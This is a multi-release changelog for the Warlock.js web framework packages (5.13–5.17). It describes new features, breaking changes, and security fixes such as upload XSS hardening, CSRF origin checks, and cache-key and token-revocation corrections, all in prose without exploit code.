Security uploadedFileController no longer serves an upload original inline unless its bytes sniff as jpeg, png, webp or avif AND its extension names that same image type (.jpg/.jpeg for jpeg, .png for png, .webp for webp, .avif for avif) — never sniffed bytes alone, and never the extension alone. An inline response always carries the SNIFFED format's Content-Type set explicitly, not an extension-derived guess from sendFile. This closes two stored-XSS holes, sniffed-bytes vs. extension mismatched in each direction: an svg (or any other non-raster file) named .png/.jpg still downloads instead of rendering as its extension's type, and raster bytes named with a non-image or different-image extension — e.g. jpeg magic bytes saved as x.html — also download instead of being served under that extension's advertised type (text/html, previously inherited from sendFile). Every other original — svg, html, xml, text, pdf, unknown, any raster/extension mismatch either way — is sent with Content-Disposition: attachment, Content-Security-Policy: sandbox, and its extension-derived Content-Type, except the svg/html/xml family, which is downgraded to application/octet-stream. Every uploads response — originals and variants — now also carries X-Content-Type-Options: nosniff.
Security A default CSRF-Origin guard (card 8a752ab2) now runs at the earliest HTTP seam, before route middleware and any app handler, for every unsafe-method (POST/PUT/PATCH/DELETE) request that carries a Cookie header naming anything other than the framework locale cookie or a validated locale-preference cookie (a malformed Cookie header counts as carrying one — fails closed). It requires Origin — or, absent that, Referer — to name the request's own origin or an entry in auth.csrf.allowedOrigins, rejecting with 403 otherwise. Before this, that check only ran inside authMiddleware("cookie:*"), so a cookie-authenticated write reached through any other path (e.g. an app-owned optional-auth pattern reading its own token cookie) was never checked. A header-only API request (no Cookie header, e.g. Authorization: Bearer) is unaffected, and a route can opt out with { csrf: false } (RouteOptions.csrf) — documented as dangerous, for third-party callbacks and machine-to-machine routes only.

create-warlock Added 2 Changed 3 Fixed 1 Security 1

Added pnpm typecheck:template runs tsc --noEmit on templates/warlock/src/ against this checkout's own @warlock.js/* source (via tsconfig.template-check.json), catching a template import that no longer exists in the framework — the class of bug that let a removed-but-still-used import pass all 291 tests. Enforced on every run by specs/template-typecheck.spec.ts, complementing the slower registry-install typecheck:scaffold gate.
Added The scaffolded src/config/http.ts now sets trustProxy: false explicitly, with a comment on when/how to enable it behind a proxy or load balancer, and ships a commented-out, nonce-based csp starter block so both are discoverable instead of silently absent.
Changed Web scaffold pages use the 5.17 config export with PageConfig, keeping loaders and components as separate exports. New apps depend on @mongez/localization:^3.5.0 for scoped route translations.
Changed New Web scaffolds set strictMode: true in src/web/root.tsx's RootConfig, so the hydrated page, layout, and navigation tree receives React's development Strict Mode checks. Existing applications keep the framework default of false until they opt in.
Changed The CLI's source formatting check is part of test. Interactive project naming and preset selection preserve the entered name when Customize advances to package-manager selection.
Fixed The scaffolded src/config/cache.ts namespaced every cache key by request.originDomain || request.header("domain") || request.input("domain"). A browser GET carries no Origin while a CSRF-protected POST does, so the same visitor resolved two different prefixes and a write could never invalidate what a read had cached — repository caches and page-cache tags went silently stale (verified live on a real app). None of those three inputs are server-validated either, so any visitor could pick ?domain=anything or a domain header to land in an arbitrary namespace and grow the in-memory store without bound. globalPrefix is now a fixed, app-owned string derived from APP_NAME, with no request data read at all. Existing projects should apply the same change to src/config/cache.ts:
Security BREAKING: the scaffolded GET /uploads/* route resized images to any ?w=&h= a client sent. This was a denial-of-service vector, because every new size forced a full decode and resize and nothing was cached. The route also resolved the path without a containment check. The generated src/app/uploads/controllers/fetch-uploaded-file.controller.ts is gone. src/app/uploads/routes.ts now mounts core's uploadedFileController, which keeps the request inside the storage root and only renders the named variants the app declares. ?w= and ?h= now return 400. Existing projects should apply the same change:

@warlock.js/cache Changed 1 Fixed 3

Changed Cache misses and expiries log at info instead of warn. A cache miss or expiry is normal behaviour, not a warning.
Fixed cache.tags([...]).invalidate() now deletes the tagged entries when a globalPrefix is configured, whether static ("store") or a function. Before, the tag index stored each key with the prefix already applied, and invalidation passed that key back through remove(), which applied the prefix a second time. So it dropped the tag index but deleted none of the tagged entries, and reads stayed stale until TTL. Every scaffolded app sets a globalPrefix. The tag index now stores the un-prefixed key in all of these paths: tags().set(), inline set(key, value, { tags }), tags().remove(), the scoped cache.namespace(...).tags(...) handle (including setNX), and the similar() tag filter. remove() applies the prefix exactly once, on every driver. With a function prefix, invalidation uses the prefix that is current when it runs, which is the same prefix the tag index itself is read under. The two therefore agree as long as the prefix is stable for a given app or tenant.
Fixed MemoryCacheDriver.similar() returned no results whenever a globalPrefix was set, because it read each stored, already-prefixed key back through get(), which prefixed it again. It now reads entries by their stored key.
Fixed Upgrade note: entries tagged before this upgrade are indexed under the old, already-prefixed form, so invalidation still can't reach them. Their tag index is dropped on the first invalidate(), which leaves those entries orphaned. They expire by their TTL, or flush() clears them right away.

@warlock.js/auth Fixed 1 Security 1

Fixed The pageAuth login redirect now carries the request's locale prefix when @warlock.js/web's web.localeRouting.strategy is active. Before, an anonymous request to a locale-prefixed page (e.g. /ar/admin) always redirected to the bare auth.pageAuth.loginPath (e.g. /login?returnUrl=%2Far%2Fadmin), dropping the locale even though returnUrl kept it. It now redirects to the locale-prefixed login path (/ar/login?returnUrl=%2Far%2Fadmin) — reading web.localeRouting.strategy / app.localeCodes / app.localeCode from config directly (auth has no dependency on web, in either direction). Left unchanged when loginPath is absolute (http…) or already locale-prefixed.
Security The CSRF Origin/Referer check authMiddleware("cookie:*") runs (assertCsrfOriginAllowed) now delegates its same-origin/auth.csrf.allowedOrigins comparison to @warlock.js/core's resolveCsrfOriginVerdict, shared with core's new default CSRF-Origin guard (card 8a752ab2, see @warlock.js/core's 5.17.0 changelog) so the two checks can never drift apart. Behaviour is unchanged for routes already using authMiddleware("cookie:*").

@warlock.js/cascade Fixed 2

Fixed where(field, undefined) / where(field, operator, undefined) / where({ field: undefined }) (and the orWhere equivalents, on both the Postgres and MongoDB query builders) now throw UndefinedWhereValueError instead of silently reaching the driver. A bound undefined used to bind as = NULL (SQL) / "field missing" (MongoDB) — a comparison that never matches but never fails either, hiding call sites that forgot to guard a value that turned out to be missing (card 62e0e781: a blog author lookup ran User.find(post.authorId) with an undefined id under load). Pass null to match NULL explicitly; guard the call site to skip the query when there's no value.
Fixed Postgres pool leaks (card ba1193b4): beginTransaction() now releases its client on every path, including when BEGIN, COMMIT or ROLLBACK throws. A failed COMMIT/ROLLBACK discards the client (release(error)) instead of recycling one left in an unknown transaction state, and transaction() no longer issues ROLLBACK after a failed COMMIT. The pool also gets an error listener (an idle client dropped by the server no longer crashes the process), keepAlive, and a 10s connect timeout.

@warlock.js/seal Added 2

Added Granular @warlock.js/seal/object and @warlock.js/seal/string entry points with the object and string factories for schemas that do not need the complete v factory.
Added redactValue option on v.validate(schema, data, options): when set, the :value placeholder renders that string instead of the submitted input, both in the attributes handed to translateRule and in author errorMessage templates. It does not cover a custom rule that concatenates raw input into its own message text. Unset keeps the current behaviour. Per-call options replace the global config, so pass { ...getSealConfig(), redactValue } to keep your translators.

5.16.0

September 18, 2026

@warlock.js/sitemap is now framework-blind (BREAKING): the 5.15 connector API is removed in favour of the Sitemap builder (new Sitemap({ baseUrl }), toXML(), atomic saveTo() and publishTo()) and a new SitemapIndex that streams size-capped shards behind a master index and publishes the whole directory atomically. Warlock web apps get sitemap.xml and robots.txt from the new @warlock.js/web/sitemap subpath, configured under web.sitemap and web.robots in src/config/web.ts, with pages controlling their own listing through export const sitemap. BREAKING (@warlock.js/web): in production an unexpected page error no longer sends its message to the browser; throw PublicPageError for messages visitors should see. Web also adds a default client error boundary, loader signal that aborts on client disconnect, and pageCache.maxEntryBytes. @warlock.js/auth adds GitHub, Discord, LinkedIn, Apple (form_post), Facebook and X login providers, and @warlock.js/core now parses urlencoded request bodies and lets response.xml() send anything with a toXML() method. Lockstep release across all 30 packages. Generator matrix scope: none, excluded by the owner; Hasan authorised the release on 2026-09-18: "Go ahead please".

Generator matrix: not run for this release.

@warlock.js/sitemap Added 3 Changed 3

Added SitemapIndex: streams entries into size-capped shards plus a master index, and optionally writes .xml.gz files. It publishes the whole output directory atomically and marks it with .sitemap-set.json.
Added Sitemap.publishTo(outDir, fileName?), and saveTo() now writes atomically (temp file, then rename, with retries on Windows EPERM/EBUSY).
Added UnownedOutputDirectoryError: publishing refuses to replace a non-empty directory that lacks the ownership marker.
Changed BREAKING: the package no longer depends on any framework. The connector API is removed: sitemapConnector(), collectSitemapEntries(), the SitemapConfig config module, MissingPublicUrlError, NoPageRegistryError and RoutablePage. Use the Sitemap builder class instead (new Sitemap({ baseUrl }), add / addMany / declareRoute, toXML / saveTo). Warlock apps configure web.sitemap in @warlock.js/web instead.
Changed baseUrl is validated in the constructor (InvalidBaseUrlError). Entries are keyed by path, and duplicates() reports every collision.
Changed Dropped the @warlock.js/core and @warlock.js/web dependencies.

@warlock.js/web Added 6 Changed 1 Fixed 6

Added @warlock.js/web/sitemap: sitemap.xml and robots.txt for web apps. Configure them under web.sitemap and web.robots in src/config/web.ts. Pages control their own listing with export const sitemap (false, static options, or a function that supplies URLs for dynamic routes). Locales expand into hreflang alternates, and web switches to a sharded SitemapIndex above 50,000 URLs. The sitemap is generated at runtime boot (web.sitemap.regenerate.onBoot) or when the app calls regenerateSitemap() — never at warlock build and never while serving a request. See 5.17.0.
Added Web now wraps every page in a default client error boundary. A rejected defer() value with no app boundary renders the app's error page, or a built-in fallback, instead of unmounting the tree. The boundary resets on every navigation, refresh and locale change.
Added PublicPageError: throw it, or reject a deferred value with it, when its message is meant for visitors. In production, only a PublicPageError message reaches the browser.
Added Loaders receive signal, an AbortSignal that fires when the client disconnects.
Added Development only: during client navigation, web checks that a page's translations were registered by register() before anything renders.
Added pageCache.maxEntryBytes (default 1 MiB): a cache miss larger than this is still served in full but is not cached.
Changed BREAKING (production error disclosure): in production, an unexpected page error no longer sends its message to the browser. The browser gets a generic message plus an errorCode that matches the server's error report, and stack is never sent. Throw PublicPageError for messages visitors should see.
Fixed A client disconnect now aborts SSR, NDJSON navigation streams and loader work, and stream errors no longer escape as uncaught exceptions. A refresh or locale change aborts the fetches it supersedes.
Fixed Deferred values are scoped per navigation, so late chunks from an abandoned navigation can no longer settle the active page. Finished scopes are released from memory.
Fixed SSR and client navigation now fall back the same way for missing metadata fields.
Fixed The dev client page registry keeps a custom appSrcRoot.
Fixed In development, page discovery for unmatched requests is cached until a page file changes.
Fixed Production hashed assets (/assets/*.js, .css, …) are now served precompressed instead of raw: warlock build writes .br/.gz siblings for eligible text assets ≥1KB, and warlock start negotiates Accept-Encoding (brotli, then gzip, then identity) via @fastify/static's preCompressed option, with Vary: Accept-Encoding on every response.

@warlock.js/auth Added 2 Fixed 2

Added Six new login providers: GitHub, Discord, LinkedIn, Apple, Facebook and X, configured under auth.providers.<name> and used through startProviderLogin / completeProviderLogin. Apple and LinkedIn verify their id_token with jose. The other four use plain OAuth 2.
Added AuthProvider.callbackMode ("query" | "form_post"). Apple uses form_post, so its state cookie is written with SameSite=None; Secure (HTTPS required). Query-mode providers keep SameSite=Lax.
Fixed Provider names now resolve only from auth.providers' own keys, so a name inherited from the object prototype, such as toString, is never treated as a provider.
Fixed The Set-Cookie that clears the provider state cookie now repeats the attributes the cookie was written with.

@warlock.js/core Added 2 Changed 1

Added Core now parses application/x-www-form-urlencoded request bodies, so plain HTML forms and OAuth form_post callbacks (Apple) reach their routes instead of failing with FST_ERR_CTP_INVALID_MEDIA_TYPE. These bodies have the same http.bodyLimit as JSON. A key sent more than once becomes an array.
Added response.xml() accepts a raw string or any value with a toXML(): string method (such as a @warlock.js/sitemap Sitemap), and sends application/xml.
Changed warlock add sitemap now merges a disabled sitemap section into src/config/web.ts, and creates that file when it is missing. It no longer writes src/config/sitemap.ts or registers sitemapConnector(). The merge edits only a sitemap key directly on the exported config object, and the result is re-parsed before it is written.

@warlock.js/fs Fixed 1

Fixed Skill code samples are now self-contained and type-check as written.

@warlock.js/queue Fixed 1

Fixed The failed-jobs dashboard skill sample now includes the connection config and the authMiddleware import.

5.15.0

September 18, 2026

New package: @warlock.js/sitemap — the thirtieth family member, and the first added since the family settled. Runtime sitemap.xml generation from the page registry, installed with warlock add sitemap, with zero runtime dependencies. It is usable three ways: standalone in any Node app, in an API-only Warlock app through sitemapConnector({ entries }), and in a Warlock web app from the page registry. A dynamic route that cannot be enumerated is omitted and named in a development diagnostic rather than silently dropped, and an enabled sitemap with no configured origin refuses to boot instead of serving absolute URLs built from a guessed host. Two silent failures are fixed in @warlock.js/web and @warlock.js/core: useTrans() returned the raw key after hydration — server HTML was correct, the post-hydration DOM was not, and the translated value never reached dist/client at all — so the hydration payload gains a seventh required key, translations, carrying only the active locale; and request.cookie() now throws CookieJarUnavailableError when @fastify/cookie is absent instead of returning undefined, which was indistinguishable from "no such cookie" and surfaced as a permanent unexplained 401. @warlock.js/core adds app.publicUrl with a PUBLIC_APP_URL fallback. BREAKING: @warlock.js/queue/notifications is removed (deprecated in 5.14 — use bullmqQueue() from @warlock.js/notifications), and listRoutablePages moved to the @warlock.js/web/build subpath. @warlock.js/cache finally declares a test script, so its 525 tests run in the release gate for the first time. Lockstep release across all 30 packages. Generator matrix ran subset scope (baseline, web, sitemap, queue, bull-board rows) against the staged candidate, authorised by Hasan on 2026-09-18: "You could run the matrix if you feel it is important to this release".

Generator matrix: selected rows ran against the staged candidate — baseline, web, sitemap, queue, bull-board.

@warlock.js/sitemap Added 4

Added New package: runtime sitemap.xml generation. Walks the page registry at runtime, applies the framework's exclusion rules (not-found route, error page, metadata.robots: noindex, sitemap: false), collects the entries a page's sitemap export returns, and reports — in development — any dynamic route left with no sitemap export so it is never silently dropped from the generated XML.
Added Zero runtime dependencies, in the same spirit as @warlock.js/fs: XML serialization is string-building plus escaping, and needs no library.
Added Usable in three ways: standalone in any Node app (collectSitemapEntries + buildSitemapXml, no Warlock at all), in an API-only Warlock app via sitemapConnector({ entries }), and in a Warlock web app from the page registry. @warlock.js/core and @warlock.js/web are optional peers — everything except sitemapConnector() imports nothing from either, and the connector reaches them only through a lazy import().
Added sitemapConnector({ entries }) merges app-supplied entries with page-derived ones, deduplicated by path with the app-supplied entry winning. With neither source available the connector refuses to boot (NoPageRegistryError) instead of serving an empty <urlset> that looks correct.

@warlock.js/core Added 2 Changed 1

Added warlock add sitemap installs @warlock.js/sitemap, writes src/config/sitemap.ts, and registers sitemapConnector() in warlock.config.ts. The generated config ships disabled: a sitemap needs the application public origin and a generated app cannot know it, so the block explains the two steps to turn it on rather than producing an app that refuses to boot.
Added app.publicUrl config key, with a PUBLIC_APP_URL environment fallback: the one absolute-URL source for every consumer that needs an origin. It never falls back to a request-derived host — an absolute URL built from the wrong host is worse than a boot that refuses to start, because nothing downstream reports it.
Changed BREAKING (fail-loud): request.cookie(name) and request.hasCookie(name) now throw CookieJarUnavailableError when @fastify/cookie is not registered on the Fastify instance, instead of returning undefined / false. An unregistered plugin is a configuration fault, and it was previously indistinguishable from "the caller sent no such cookie" — under authMiddleware([], "cookie:token") it surfaced as a permanent, unexplained 401. Apps built on createHttpApplication are unaffected: core registers the plugin before anything mounts. The exposure is a host that mounts a guarded surface on its own Fastify instance. request.cookies stays lenient and still returns {}, so the framework's own opportunistic reads — locale resolution among them — are unchanged.

@warlock.js/web Changed 2 Fixed 1

Changed BREAKING: listRoutablePages is exported from @warlock.js/web/build, not the root barrel. It reaches the filesystem-walking page discovery, and on the root barrel that module joined the import graph of every page importing @warlock.js/web — a generated app answered 500 on every route in dev. A boundary spec now fails if the root barrel reaches src/build/**.
Changed The hydration payload carries a seventh required key, translations, holding only the active locale's entries — never every locale.
Fixed useTrans() no longer silently returns the raw key after hydration. The active locale's translations now ride in the hydration payload and register on the client before hydrateRoot, so a translated string survives hydration instead of being reconciled away. Server-rendered HTML was always correct, which is what made this invisible.

create-warlock Added 2

Added The feature picker offers Sitemap — runtime sitemap.xml generation from the page registry.
Added The feature picker offers Bull Board, the queue dashboard. warlock add bull-board shipped in 5.14 but the scaffolder never offered it, so a new app could not select it at creation time.

@warlock.js/cache Fixed 1

Fixed This package declares a test script, so its 23 spec files and 525 tests actually run in the release gate. They existed and passed, but with no script to invoke them the gate reported SKIPPED (no "test" script) on every release and nothing here was ever checked before publishing.

@warlock.js/notifications Removed 1

Removed The integration spec covering the deprecated @warlock.js/queue/notifications dispatcher, which was removed from @warlock.js/queue in this release. bullmqQueue() is the supported path and keeps its own coverage.

@warlock.js/queue Fixed 1

Fixed The dashboard guard now ends the request explicitly when a middleware short-circuits, instead of leaving it to Fastify noticing the reply was already sent. The adapter has always returned a "handled" boolean for this; the hook discarded it, so whether an unauthenticated caller reached the dashboard depended on write ordering — a guard answering asynchronously could lose that race.

5.14.0

September 17, 2026

@warlock.js/web renames the hydration mount from #root to #vessel (BREAKING) — #root collided with embeds and third-party widgets — and hardens the client-build secret scan to refuse EVERY reference to the global process, aliases included (BREAKING for typeof process feature detection). Dev SSR now externalises every installed @warlock.js/* package by rule instead of a hand-maintained list, closing the dual-module-instance class that split framework singletons. A cached page sends one Vary value on both its HTML and data representations. @warlock.js/queue gains a config-driven bull-board dashboard (warlock add bull-board) that refuses to mount unguarded in production, and find(id) no longer returns a finished job with a null result. @warlock.js/notifications takes over the BullMQ integration as bullmqQueue(), a lazy optional-peer driver; @warlock.js/queue/notifications is deprecated for one release. @warlock.js/core adds middleware.cache({ tags }) so invalidateTags() clears cached API responses, verifies the esbuild native binary before warlock dev starts, and fixes a devServer.timings watcher phase that always reported 0ms. Lockstep release across all 29 packages. Generator matrix ran subset scope (baseline, web, queue, bull-board, auth-google, auth-passkeys rows) against the staged candidate, authorised by Hasan on 2026-09-17: "Go ahead plz".

Generator matrix: selected rows ran against the staged candidate — baseline, web, queue, bull-board, auth-google, auth-passkeys.

@warlock.js/web Changed 2 Fixed 3 Security 1

Changed BREAKING: the hydration mount is <div id="vessel"> (was #root), which no longer collides with embeds and widgets. Update custom root.tsx files and any #root CSS or tests; hydration errors name the rename when #root is found.
Changed Dev SSR externalises every installed @warlock.js/* package (derived, not a hand list), so no family package can load twice and split its state.
Fixed A local variable or parameter named process in client code is no longer falsely refused.
Fixed Cached pages send one Vary value on both HTML and data responses: HTML now varies on x-warlock-data, and deferred pages keep Vary: User-Agent.
Fixed The typed translation-key guard now actually runs as part of typecheck.
Security BREAKING: the client-build secret scan refuses every reference to the global process, including aliased forms (const p = globalThis.process, const { env } = process, window.process). Use import.meta.env instead of typeof process checks.

@warlock.js/queue Added 3 Fixed 2 Deprecated 1

Added dashboard: { enabled, path, middleware } in src/config/queue.ts: the queue connector mounts Bull Board at boot, guarded by the given middleware.
Added QueueDashboardUnguardedError: in production the dashboard refuses to mount without guard middleware, since it can retry and delete jobs.
Added queueDashboard() accepts a middleware option.
Fixed The connector registers the queue config when it mounts the dashboard at boot, so an app whose only queue usage is the dashboard no longer fails to start with QueueNotConfiguredError.
Fixed find(id) no longer returns a completed job with result: null and attemptsMade: 0 when the job finishes mid-read.
Deprecated @warlock.js/queue/notifications (queueNotificationDispatcher): use bullmqQueue() from @warlock.js/notifications. It still works in 5.14, warns once, and is removed in the next release.

@warlock.js/notifications Added 1

Added bullmqQueue({ queue, attempts, backoff }): a BullMQ-backed .queue() driver that lazy-loads @warlock.js/queue (optional peer); a missing package throws QueuePackageNotInstalledError naming warlock add queue.

@warlock.js/core Added 2 Fixed 3

Added warlock add bull-board installs the Bull Board packages and writes a dashboard block to src/config/queue.ts; it adds the queue feature first when it is missing. The generated block enables the dashboard outside production only, since an unguarded dashboard refuses to mount in production.
Added middleware.cache({ tags }): cached API responses can be tagged and are evicted by cache.tags([...]).invalidate(), like cached pages.
Fixed warlock dev checks esbuild's native binary before starting and fails with EsbuildBinaryMissingError naming the fix (warlock build already did).
Fixed devServer.timings: the watcher phase always reported 0ms on Windows and Linux; it now measures the real settle time.
Fixed warlock add writes connector arrays formatted like Prettier ([queueConnector(), webConnector()]), including empty and multi-line arrays.

create-warlock Changed 1

Changed BREAKING: the web starter's src/web/root.tsx renders the hydration mount as <div id="vessel"> (was #root).

5.13.0

September 17, 2026

@warlock.js/queue ships as a new package (durable BullMQ + Redis background jobs, defineJob, queueConnector(), a bull-board dashboard and a notifications dispatcher). @warlock.js/auth adds email verification, password reset, and login with Google, passkeys and phone OTP, with account linking via a new provider_accounts table. @warlock.js/access makes ABAC strictPolicies deny-by-default (BREAKING) to close a fail-open IDOR path. @warlock.js/web fixes a Host-header cache-poisoning gap in the server page cache key (BREAKING) and a stale-Suspense-fallback replay on cache HIT, and adds linkStylesheetsFor for lazily-imported per-tenant themes. @warlock.js/core adds warlock add queue/warlock add auth-google/warlock add auth-passkeys installers and typed translation-key generation, and drops its dependency on @warlock.js/auth. Lockstep release across all 28 packages. Generator matrix ran subset scope (baseline, web, queue, access, auth-google, auth-passkeys rows) against the staged candidate, authorised by Hasan on 2026-09-16: "You've my approval for whatever decision you may need to take in this release."

Generator matrix: selected rows ran against the staged candidate — baseline, web, queue, access, auth-google, auth-passkeys.

@warlock.js/queue Added 8 Fixed 1

Added New package: durable background jobs on BullMQ + Redis. Redis is required.
Added defineJob({ name, queue, attempts, backoff, removeOnComplete, removeOnFail, handle(payload, ctx) }) returns a typed job with dispatch(payload, { delay, priority, jobId, attempts, backoff }) and find(id).
Added Job context: id, name, queue, attempt, maxAttempts, progress(value), log(line).
Added failedJobs({ queue, start, end }) and retryFailedJob(id, { queue }).
Added queueConnector() for warlock.config.ts > connectors: reads the queue config key, starts workers in the app process (turn off with workers.enabled: false), and on shutdown waits for active jobs up to workers.shutdownTimeout before closing.
Added setQueueConfig, startWorkers, closeQueue for scripts, tests and worker-only processes.
Added @warlock.js/queue/notifications: queueNotificationDispatcher() sends @warlock.js/notifications .queue() deliveries through BullMQ, with retries and delay support.
Added queueDashboard(server, { basePath }): mounts bull-board on Warlock's Fastify server. @bull-board/api and @bull-board/fastify are optional peers, loaded only when it is called; a missing one throws QueueDashboardDependencyError.
Fixed Portable typecheck script: runs against this package's own typescript devDependency instead of relying on a hoisted binary from elsewhere in the workspace.

@warlock.js/auth Added 12 Fixed 1 Security 1

Added Email verification and password reset. sendEmailVerification(user), verifyEmail(token), requestPasswordReset(Model, email) and resetPassword(token, newPassword). Tokens are 32 random bytes, stored only as a SHA-256 hash, single-use (consumed with a conditional update, so of two concurrent uses exactly one succeeds), expiring (auth.verification.expiresIn default "24h", auth.passwordReset.expiresIn default "60m") and purpose-bound. A new reset request invalidates the user's earlier unused reset tokens. requestPasswordReset answers the same for unknown emails. resetPassword revokes every access token, refresh token and cookie session through authService.revokeAllTokens. Rejected tokens throw InvalidOneTimeTokenError (400, EC008).
Added New one_time_tokens table (OneTimeToken model, overridable via auth.oneTimeToken.model), shipped in authMigrations. Run your migrations.
Added Delivery goes through @warlock.js/notifications, now an optional peer dependency. Default mail notifications can be replaced via auth.verification.notification / auth.passwordReset.notification, and link builders set via .url. If the package is not installed or not configured, calls throw NotificationsUnavailableError before any token is issued.
Added requireVerifiedEmail() middleware — rejects users without auth.verification.field (default emailVerifiedAt) with EmailNotVerifiedError (403, EC007). isEmailVerified(user) helper.
Added tokenIssueThrottleMiddleware() (every request counts, per email + IP, 3/1h) and tokenConsumeThrottleMiddleware() (failures, per IP, 10/15m), both built on loginThrottleMiddleware.
Added AuthErrorCodes.EmailNotVerified ("EC007") and AuthErrorCodes.InvalidOneTimeToken ("EC008").
Added Login with Google, passkeys and phone codes (skill login-with-providers). Every method ends in the new authService.completeLogin(user, deviceInfo?), which applies auth.canAuthenticate and then issues exactly what authService.login issues (same tokens, rows and login.success event). login now shares that ending. - Google: startProviderLogin(response, "google") / completeProviderLogin(Model, "google", request, response). Uses the OIDC authorization code flow with PKCE (S256), state and nonce, kept in a signed 10-minute HttpOnly cookie. The code is exchanged with fetch, and the id_token is verified with jose against Google's JWKS (signature, iss, aud, exp, nonce). Configure it under auth.providers.google. Other providers implement the AuthProvider contract and register under auth.providers.custom. - Account linking: new provider_accounts table (ProviderAccount). A link always decides the user. Without one, only a provider-verified email links an existing user or creates a new one; an unverified email throws ProviderEmailNotVerifiedError (403, EC010). Callback rejections throw InvalidProviderCallbackError (400, EC009). - Passkeys: generatePasskeyRegistrationOptions / verifyPasskeyRegistration / generatePasskeyAuthenticationOptions / verifyPasskeyAuthentication, built on @simplewebauthn/server. Challenges are stored hashed in one_time_tokens, expire, and are used once (consumed even when verification fails). The request Origin must be in auth.passkeys.origin, and a signature counter that does not advance is rejected. Credentials are stored in the new passkey_credentials table (PasskeyCredential). Rejections throw InvalidPasskeyError (400, EC011). - Phone OTP: requestOtp(Model, phone, { channel }) / verifyOtp(Model, phone, code). Codes have 6 digits, are stored as a salted HMAC in one_time_tokens (purpose otp), expire after 5 minutes, and are invalidated after 5 attempts (counted atomically). Unknown phones get the same answer. Codes are delivered through the @warlock.js/notifications channel you configure (auth.otp.channel, default "sms") or auth.otp.send; auth ships no SMS/WhatsApp driver. New otpRequestThrottleMiddleware() / otpVerifyThrottleMiddleware() presets are built on loginThrottleMiddleware. - jose and @simplewebauthn/server are new optional peer dependencies, loaded lazily. When one is missing, the call throws AuthProviderSdkMissingError, whose message names warlock add auth-google / warlock add auth-passkeys.
Added one_time_tokens gains an attempts column, and user_id becomes nullable (passkey login challenges have no user yet). authMigrations now includes ProviderAccountMigration and PasskeyCredentialMigration. Run your migrations.
Added auth.cleanup / authService.cleanupExpiredTokens() also hard-deletes expired and consumed one_time_tokens rows via the new OneTimeToken.purgeSpent(). The delete is permanent on every driver, so MongoDB's default "trash" strategy does not copy token hashes into one_time_tokensTrash.
Added Local real-database integration suites (tests/integration/local, skipped unless LOCAL_MONGO_* / LOCAL_PG_* are set) prove on MongoDB and Postgres: a one-time token consumed 20 times concurrently succeeds once, 20 concurrent wrong OTP guesses count at most 5 attempts and invalidate the code, a passkey login challenge with no user persists and is consumed, the counter compare-and-set and regression rejection hold, and provider_accounts allows one link per identity.
Added Passkey specs now also run the real @simplewebauthn/server against a node:crypto software authenticator (none attestation, ES256 assertions).
Added AuthErrorCodes.InvalidProviderCallback ("EC009"), AuthErrorCodes.ProviderEmailNotVerified ("EC010") and AuthErrorCodes.InvalidPasskey ("EC011").
Fixed verifyPasskeyAuthentication reported a cloned authenticator as reason: "authentication-verification-failed", because @simplewebauthn/server rejects a non-advancing counter itself before auth's own check runs. It now reports "counter-regression". The response (400, EC011) is unchanged.
Security Access and refresh tokens (and one-time tokens, and passkey credentials) are no longer copied into MongoDB trash collections on delete. AccessToken, RefreshToken, OneTimeToken and PasskeyCredential now declare static deleteStrategy = "permanent", overriding the MongoDB driver's default "trash" strategy. Previously, AccessToken.purgeExpired(), RefreshToken.purgeExpired()/purgeNeverExpiring(), and authMiddleware's expired-token cleanup all called destroy() without a strategy override, so on MongoDB every purge or invalidation copied the live JWT into access_tokensTrash / refresh_tokensTrash before deleting the original — leaving usable credential material behind after "revocation". OneTimeToken.purgeSpent() already forced "permanent" per-call (5.13.0 above); that override is now redundant and has been removed in favor of the model-level default. Apps that have been running on MongoDB may want to drop the access_tokensTrash, refresh_tokensTrash and one_time_tokensTrash collections, which may hold copies of now-revoked credentials.

@warlock.js/access Fixed 2

Fixed Restored the portable typecheck script and compile access as ESM so workspace source imports using import.meta are valid.
Fixed An unpoliced instance-level check was fail-open (allowed via the RBAC grant alone) unless strictPolicies was explicitly enabled, which could silently reach a resource-scoped IDOR for a forgotten definePolicy call. It now fails CLOSED by default; strictPolicies: false still restores the old fallback and warns once per permission naming the missing policy and the config key.

@warlock.js/web Added 3 Fixed 6

Added linkStylesheetsFor(request, sourceFile): middleware or a loader declares a lazily imported module (e.g. a per-tenant theme from a static import() map), and the module's CSS is added to that response's render-blocking <head> links. Dev resolves it through the module graph, production through the Vite manifest. Before this, a lazy theme painted unstyled until client JS loaded its CSS. An unknown id throws UnknownStylesheetSourceError and a malformed id throws InvalidStylesheetSourceError. See the new multi-theme skill.
Added route.cache.varyBy?: (request) => string adds a request-derived component to the server page cache key, and a function-form route.cache.tags now receives { shared } as its second argument, e.g. for tagging entries by theme.
Added useTrans() now accepts generated, literal translation keys. warlock dev augments web's TranslationKeyRegistry from registered groupedTranslations dictionaries; before generation it safely accepts string.
Fixed BREAKING: The server page cache key now includes the request Host. Before, two hosts (tenants) serving the same URL shared one entry, so tenant B could be served tenant A's document and shared payload. This also closed a Host-header cache-poisoning path.
Fixed The server page cache now stores the streamed document the MISS visitor received, not the synchronous renderToString pass. That pass rendered a not-yet-resolved React.lazy boundary as its Suspense fallback, so every later HIT replayed the fallback.
Fixed warlock dev: a serverCache: true page no longer answers 500 CacheDriverNotInitializedError. An app resolveAlias entry for a framework package made Vite ignore ssr.external and load a second, never-booted copy. Dev SSR now always imports @warlock.js/core, cache, logger, context and cascade from the instance the app booted, as production does, and drops app aliases that would re-inline an SSR-external package.
Fixed A page request that fails outside the page pipeline (a cache failure, a module that fails to load) is now logged to stderr as [warlock:web] page request <METHOD> <path> failed: <error>. Before, the error reached only the app's error.page.tsx and the server log stayed empty.
Fixed peerDependencies.react and react-dom tightened from "*" to ^19.0.0 — web is only built and tested against React 19 (see devDependencies), so the peer range now says so instead of accepting any major.
Fixed Projection no longer refuses a type-only import (import type {} from "./x", import type { X } from "./x", import { type X } from "./x") as an attribution-ambiguous statement. A type-only import is erased at build and carries no runtime binding, so it can never reach the client — it was wrongly falling into the "bare side-effect import" refusal. A mixed import (import { type A, B } from "./x") still has its value specifier checked exactly as before.

@warlock.js/core Added 3 Changed 1 Fixed 2

Added warlock add queue installs @warlock.js/queue, generates Redis-backed src/config/queue.ts, and registers queueConnector() in warlock.config.ts.
Added warlock add auth-google and warlock add auth-passkeys install @warlock.js/auth's Google sign-in (jose) and passkey (@simplewebauthn/server) login methods.
Added warlock dev generates .warlock/typings/translations.d.ts from literal groupedTranslations dictionaries, augmenting web's typed translation-key registry.
Changed warlock dev now uses a 12ms quiet window for isolated file saves while extending multi-file bursts up to a 60ms maximum, reducing routine HMR latency without splitting formatter or checkout reloads.
